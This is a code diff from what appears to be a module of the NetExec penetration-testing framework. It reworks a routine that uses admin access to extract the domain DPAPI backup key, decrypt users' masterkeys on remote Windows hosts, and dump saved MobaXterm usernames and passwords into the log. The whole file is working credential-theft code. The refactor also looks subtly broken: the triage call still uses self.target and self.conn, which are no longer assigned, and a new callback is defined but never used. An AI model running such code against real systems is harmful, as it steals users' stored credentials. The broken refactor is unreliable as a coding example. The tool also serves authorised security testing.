1- from dploot .triage .masterkeys import MasterkeysTriage , parse_masterkey_file
2- from dploot .triage .backupkey import BackupkeyTriage
31from dploot .triage .mobaxterm import MobaXtermTriage , MobaXtermCredential , MobaXtermPassword
42from dploot .lib .target import Target
5- from dploot .lib .smb import DPLootSMBConnection
63
74from nxc .helpers .logger import highlight
5+ from nxc .protocols .smb .dpapi import collect_masterkeys_from_target , get_domain_backup_key , upgrade_to_dploot_connection
86
97
108class NXCModule :
@@ -15,114 +13,50 @@ class NXCModule:
1513 multiple_hosts = True
1614
1715 def options (self , context , module_options ):
18- """
19- PVK Domain backup key file
20- MKFILE File with masterkeys in form of {GUID}:SHA1
21- """
22- self .pvkbytes = None
23- self .masterkeys = None
24- self .conn = None
25- self .target = None
26-
27- if "PVK" in module_options :
28- self .pvkbytes = open (module_options ["PVK" ], "rb" ).read () # noqa: SIM115
29-
30- if "MKFILE" in module_options :
31- self .masterkeys = parse_masterkey_file (module_options ["MKFILE" ])
32- self .pvkbytes = open (module_options ["MKFILE" ], "rb" ).read () # noqa: SIM115
16+ """ """
3317
3418 def on_admin_login (self , context , connection ):
35- host = connection .hostname + "." + connection .domain
36- domain = connection .domain
3719 username = connection .username
38- kerberos = connection .kerberos
39- aesKey = connection .aesKey
40- use_kcache = getattr (connection , "use_kcache" , False )
4120 password = getattr (connection , "password" , "" )
42- lmhash = getattr (connection , "lmhash" , "" )
4321 nthash = getattr (connection , "nthash" , "" )
4422
45- if self .pvkbytes is None :
46- try :
47- dc = Target .create (
48- domain = domain ,
49- username = username ,
50- password = password ,
51- target = domain ,
52- lmhash = lmhash ,
53- nthash = nthash ,
54- do_kerberos = kerberos ,
55- aesKey = aesKey ,
56- no_pass = True ,
57- use_kcache = use_kcache ,
58- )
59-
60- dc_conn = DPLootSMBConnection (dc )
61- dc_conn .connect ()
23+ self .pvkbytes = get_domain_backup_key (connection )
6224
63- if dc_conn .is_admin :
64- context .log .success ("User is Domain Administrator, exporting domain backupkey..." )
65- backupkey_triage = BackupkeyTriage (target = dc , conn = dc_conn )
66- backupkey = backupkey_triage .triage_backupkey ()
67- self .pvkbytes = backupkey .backupkey_v2
68- except Exception as e :
69- context .log .debug (f"Could not get domain backupkey: { e } " )
70-
71- self .target = Target .create (
72- domain = domain ,
25+ target = Target .create (
26+ domain = connection .domain ,
7327 username = username ,
7428 password = password ,
75- target = host ,
76- lmhash = lmhash ,
29+ target = connection . host if not connection . kerberos else connection . hostname + "." + connection . domain ,
30+ lmhash = getattr ( connection , " lmhash" , "" ) ,
7731 nthash = nthash ,
78- do_kerberos = kerberos ,
79- aesKey = aesKey ,
32+ do_kerberos = connection . kerberos ,
33+ aesKey = connection . aesKey ,
8034 no_pass = True ,
81- use_kcache = use_kcache ,
35+ use_kcache = getattr ( connection , " use_kcache" , False ) ,
8236 )
83-
84- try :
85- self .conn = DPLootSMBConnection (self .target )
86- self .conn .smb_session = connection .conn
87- except Exception as e :
88- context .log .debug (f"Could not upgrade connection: { e } " )
37+
38+ conn = upgrade_to_dploot_connection (connection = connection .conn , target = target )
39+ if conn is None :
40+ context .log .debug ("Could not upgrade connection" )
8941 return
9042
91- plaintexts = {username : password for _ , _ , username , password , _ , _ in context .db .get_credentials (cred_type = "plaintext" )}
92- nthashes = {username : nt .split (":" )[1 ] if ":" in nt else nt for _ , _ , username , nt , _ , _ in context .db .get_credentials (cred_type = "hash" )}
93- if password != "" :
94- plaintexts [username ] = password
95- if nthash != "" :
96- nthashes [username ] = nthash
97-
98- if self .masterkeys is None :
99- try :
100- masterkeys_triage = MasterkeysTriage (
101- target = self .target ,
102- conn = self .conn ,
103- pvkbytes = self .pvkbytes ,
104- passwords = plaintexts ,
105- nthashes = nthashes ,
106- dpapiSystem = {},
107- )
108- self .masterkeys = masterkeys_triage .triage_masterkeys ()
109- except Exception as e :
110- context .log .debug (f"Could not get masterkeys: { e } " )
43+ self .masterkeys = collect_masterkeys_from_target (connection , target , conn , system = False )
11144
11245 if len (self .masterkeys ) == 0 :
11346 context .log .fail ("No masterkeys looted" )
11447 return
11548
11649 context .log .success (f"Got { highlight (len (self .masterkeys ))} decrypted masterkeys. Looting MobaXterm secrets" )
11750
51+ def mobaxterm_callback (credential ):
52+ if isinstance (credential , MobaXtermCredential ):
53+ log_text = "{} - {}:{}" .format (credential .name , credential .username , credential .password .decode ("latin-1" ))
54+ elif isinstance (credential , MobaXtermPassword ):
55+ log_text = "{}:{}" .format (credential .username , credential .password .decode ("latin-1" ))
56+ context .log .highlight (f"[{ credential .winuser } ] { log_text } " )
57+
11858 try :
11959 triage = MobaXtermTriage (target = self .target , conn = self .conn , masterkeys = self .masterkeys )
120- _ , credentials = triage .triage_mobaxterm ()
121- for credential in credentials :
122- if isinstance (credential , MobaXtermCredential ):
123- log_text = "{} - {}:{}" .format (credential .name , credential .username , credential .password .decode ("latin-1" ))
124- elif isinstance (credential , MobaXtermPassword ):
125- log_text = "{}:{}" .format (credential .username , credential .password .decode ("latin-1" ))
126- context .log .highlight (f"[{ credential .winuser } ] { log_text } " )
60+ triage .triage_mobaxterm ()
12761 except Exception as e :
12862 context .log .debug (f"Could not loot MobaXterm secrets: { e } " )
0 commit comments